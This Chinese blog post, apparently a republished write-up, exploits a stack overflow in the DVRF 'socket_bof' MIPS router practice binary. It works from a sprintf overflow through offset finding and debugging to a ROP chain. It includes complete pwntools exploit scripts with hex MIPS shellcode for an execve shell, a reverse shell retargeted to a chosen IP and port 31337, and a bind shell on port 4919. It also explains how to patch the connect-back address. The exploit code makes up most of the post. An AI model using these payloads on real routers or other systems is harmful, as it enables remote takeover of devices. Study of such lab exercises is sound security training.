博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
路由器漏洞挖掘之栈溢出 - 反弹shell的payload构造
阅读量:4312 次
发布时间:2019-06-06

本文共 10761 字,大约阅读时间需要 35 分钟。

前言

前一篇讲到了 ROP 链的构造,最后直接使用调用 execve 函数的 shellcode 就可以直接 getshell,但是实际路由器溢出的情况下都不会那么简单。

这里再看一道 DVRF 的题,这道题是 pwnable/ShellCode_Required 下的 socket_bof

漏洞分析

直接查看源码:

#include 
#include
#include
#include
#include
#include
// Pwnable Socket Program// By b1ack0wl// Stack Overflow int main(int argc, char **argv[]){if (argc <2){printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);exit(1);} char str[500] = "\0"; char endstr[50] = "\0"; int listen_fd, comm_fd; int retval = 0; int option = 1; struct sockaddr_in servaddr; listen_fd = socket(AF_INET, SOCK_STREAM, 0); bzero( &servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htons(INADDR_ANY); servaddr.sin_port = htons(atoi(argv[1])); printf("Binding to port %i\n", atoi(argv[1])); retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr)); if (retval == -1){ printf("Error Binding to port %i\n", atoi(argv[1])); exit(1);} if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){ printf("Setsockopt failed :(\n"); close(listen_fd); exit(2);} listen(listen_fd, 2); comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL); bzero(str, 500); write(comm_fd, "Send Me Bytes:",14); read(comm_fd,str,500); sprintf(endstr, "nom nom nom, you sent me %s", str); printf("Sent back - %s",str); write(comm_fd, endstr, strlen(endstr)+1); shutdown(comm_fd, SHUT_RDWR); shutdown(listen_fd, SHUT_RDWR); close(comm_fd); close(listen_fd);return 0x42;}

同样这里可以发现一处 sprintf 的栈溢出,把程序放入 IDA 中进行分析

0x00400D2C 处调用了 sprintf 函数,将格式化后的字符串直接放到大小为 0x50 的栈上,我们的输入如果大于 0x50 的话就会产生栈溢出,这样我们就可以控制返回地址。

fEas9Sl.png

这里和上一道题相似,同样这里需要我们使用 ROP 链来构造一个 payload

但是这里不同的是,这里我们是通过端口访问的。如果我们这里 getshell 了,这个 shell 还是在服务端的,我们是无法访问的。所以这里我们需要构造一个通过端口能访问到的 shellcode

这里我们希望的效果是可以直接反弹 shell ,或者使得 shellcode 能够使服务端在远程某个端口开启一个 shell ,我们就可以通过这个端口连接上,进而获取 shell

gdb 调试方法

这里因为程序是开了一个 socket 端口,调试方法稍微有点不太一样。但是还是可以用 attach 的方法来调试

具体的方法是:

  1. 先把程序用 qemu 跑起来,附加调试端口为 23946
  2. gdb-multiarch 连接上 23946 端口:target remote :23946,程序断在 _start 函数处,在 0x00400E1C 处下一个断点(也就是 lw $ra, 0x270+var_4($sp) 的地方),c 继续运行

OcDaJYt.png

  1. 再新开一个终端,nc 连接上之后,send payload 之后就可以在 gdb 中进行调试了。

OmOg2l4.png

确定偏移

控制 ra 之前还是需要先确定偏移地址。这边还是使用 patternLocOffset.py 工具来确定偏移,

python patternLocOffset.py -c -l 500 -f test2

ZesQrG2.png

python patternLocOffset.py -s  0x41376241 -l 500

可以看到偏移是 51,后面的四个字节需要填充的 ra 寄存器的值。

构造 payload

根据上一篇 ROP 链构造的思路,我们同样可以用原来的 ROP 链来进行利用,这里不同的地方是 shellcode 的差异,我们需要构造一个能够从端口访问的 shellcode 或者直接使用 socket 弹回一个 shell

  • 在实际的路由器漏洞挖掘过程中,一般的栈溢出使用 system 函数来 getshell 都会存在问题,所以只能另辟蹊径。

所以这里的重点是 shellcode 构造


我们先用原来的 exp 试试效果:

#!/usr/bin/pythonfrom pwn import *context.arch = 'mips'context.endian = 'little'libc_addr = 0x766e5000sleep_offset = 0x0002F2B0# sleep_end_addr = 0x767144c8shellcode = ""shellcode += "\xff\xff\x06\x28"  # slti $a2, $zero, -1shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2fshellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6eshellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xcshellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfabshellcode += "\x0c\x01\x01\x01"  # syscall 0x40404payload = 'a' * 51payload += p32(libc_addr + 0xAfe0)  # jr $rapayload += 'b' * (0x3c - 4 * 9)payload += 'a' * 4                               # s0payload += p32(libc_addr + 0x21C34)              # s1payload += 'a' * 4                               # s2payload += p32(libc_addr + sleep_offset)         # s3payload += 'a' * 4                               # s4payload += 'a' * 4                               # s5payload += 'a' * 4                               # s6payload += 'a' * 4                               # s7payload += 'a' * 4                               # fppayload += p32(libc_addr + 0x2FB10)              # ra#---------------stack 2-------------------payload += 'c' * 0x24payload += p32(libc_addr + 0x000214A0)           # s3payload += 'd' * 4                               # s4payload += p32(libc_addr + 0xAfe0)               # ra#---------------stack 3-------------------payload += 'a' * (0x3c-4*9)payload += p32(libc_addr + 0x000214A0)     # s0payload += 'a' * 4                               # s1payload += 'a' * 4                               # s2payload += 'a' * 4                               # s3payload += 'a' * 4                               # s4payload += 'a' * 4                               # s5payload += 'a' * 4                               # s6payload += 'a' * 4                               # s7payload += 'a' * 4                               # fppayload += p32(libc_addr + 0x0001B230)           # rapayload += 'f' * 0x28payload += shellcoder = remote('127.0.0.1',55555)r.recvuntil('Send Me Bytes:')r.sendline(payload)r.interactive()

运行起来,在服务端可以看到,这里确实可以 getshell

YLmzCTJ.png

shellcode 的选择和构造

这里的 shellcode 可以选择两种类型,一种是在本地传一个 shell 绑定到某个端口,另一种是直接反弹 shell

这里的 shellcode 可以自己开发,也可以直接用网上现成的。自己开发的话比较耗时难度也比较大,这边就直接使用。

反弹 shell

先选择一个反弹 shellshellcode,在下面这个链接中,可以看到这边是将 shell 反弹到了 192.168.1.177 这个 ip 的 31337 端口。

我们使用的话之直接更改他的 ip 地址就行了,也就是对 li $a1, 0xB101A8C0 #192.168.1.177 这条汇编指令进行更改。

如何更改呢?这边就需要用到 pwntoolsasm 函数。

首先,我们需要把目的 ip 地址转化为 16 进制,这里就拿笔者本机来演示。这里我本机的 IP 是 192.168.123.158

YXsFenP.png

转化成 16 进制为:0x9e7ba8c0

8gftjlN.png

那么这里的汇编语句就是:li $a1,0x9e7ba8c0

导入 pwntools.asm 函数中:

uwsqp1i.png

得到相应汇编语句的 hex 值,替换掉 payload 原来的 hex 值就行了。即:

stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"          # 192.168.1.177stg3_SC += "\xf8\xff\xa5\xaf\x7b\x9e\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"           # 192.168.123.158stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

nc 监听 31337 端口,运行 exp 成功反弹一个 shell

34daD5I.png

nmruOmM.png

绑定到相应端口

这里的 shellcode 使用这里的:

也就是开启一个 bash 监听本地的 4919 端口。

bind_port_shellcode = "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x13\x37\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xdb\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0\xaf\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"

直接替换原来 payload

x9GAw25.png

但是这里有点问题,执行完 exp 却开启了别的端口,直接连接上去程序会直接崩溃。所以还是使用上面反弹 shell 的 exp 吧。

ajF3ubQ.png

exp

#!/usr/bin/pythonfrom pwn import *context.arch = 'mips'context.endian = 'little'libc_addr = 0x766e5000sleep_offset = 0x0002F2B0stg3_SC = ""stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"stg3_SC += "\xf8\xff\xa5\xaf\x7b\x9e\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"       # 192.168.123.158stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"payload = 'a' * 51payload += p32(libc_addr + 0xAfe0)  # jr $rapayload += 'b' * (0x3c - 4 * 9)payload += 'a' * 4                               # s0payload += p32(libc_addr + 0x21C34)              # s1payload += 'a' * 4                               # s2payload += p32(libc_addr + sleep_offset)         # s3payload += 'a' * 4                               # s4payload += 'a' * 4                               # s5payload += 'a' * 4                               # s6payload += 'a' * 4                               # s7payload += 'a' * 4                               # fppayload += p32(libc_addr + 0x2FB10)              # ra#---------------stack 2-------------------payload += 'c' * 0x24payload += p32(libc_addr + 0x000214A0)           # s3payload += 'd' * 4                               # s4payload += p32(libc_addr + 0xAfe0)               # ra#---------------stack 3-------------------payload += 'a' * (0x3c-4*9)payload += p32(libc_addr + 0x000214A0)     # s0payload += 'a' * 4                               # s1payload += 'a' * 4                               # s2payload += 'a' * 4                               # s3payload += 'a' * 4                               # s4payload += 'a' * 4                               # s5payload += 'a' * 4                               # s6payload += 'a' * 4                               # s7payload += 'a' * 4                               # fppayload += p32(libc_addr + 0x0001B230)           # rapayload += 'f' * 0x28payload += stg3_SCr = remote('127.0.0.1',55555)r.recvuntil('Send Me Bytes:')r.sendline(payload)r.interactive()

总结

在实际的路由器栈溢出时,如果执行 execve 函数没办法 getshell 时,可以试试上面反弹 shell 的方式。

转载于:https://www.cnblogs.com/H4lo/p/10580433.html

你可能感兴趣的文章
[BZOJ 3530] [Sdoi2014] 数数 【AC自动机+DP】
查看>>
JS调试debug
查看>>
JS 中的string.lastIndexOf()
查看>>
潜移默化学会WPF(技巧篇)--TextBox相关(一) - AYUI框架 - 博客园
查看>>
Quartz.Net进阶之七:QuartzNet其他的功能简述
查看>>
消息队列
查看>>
WPF进阶教程 - 使用Decorator自定义带三角形的边框
查看>>
SQLServer之FOREIGN KEY约束
查看>>
redis 系列2 知识点概述
查看>>
图像滤镜艺术---图像滤镜晕影调节算法研究
查看>>
Win8Metro(C#)数字图像处理--2.21二值图像腐蚀
查看>>
MVC5 + EF6 入门完整教程
查看>>
SQL Server如何在变长列上存储索引
查看>>
Replication的犄角旮旯(八)-- 订阅与发布异构的问题
查看>>
Sliverlight实例之 绘制扇形和环形图
查看>>
Visual Studio 2012使用水晶报表Crystal Report
查看>>
你不知道的 页面编码,浏览器选择编码,get,post各种乱码由来
查看>>
SQLSERVER PRINT语句的换行
查看>>
Windows 8.1 应用开发 – 触控操作
查看>>
PowerDesigner创建物理模型
查看>>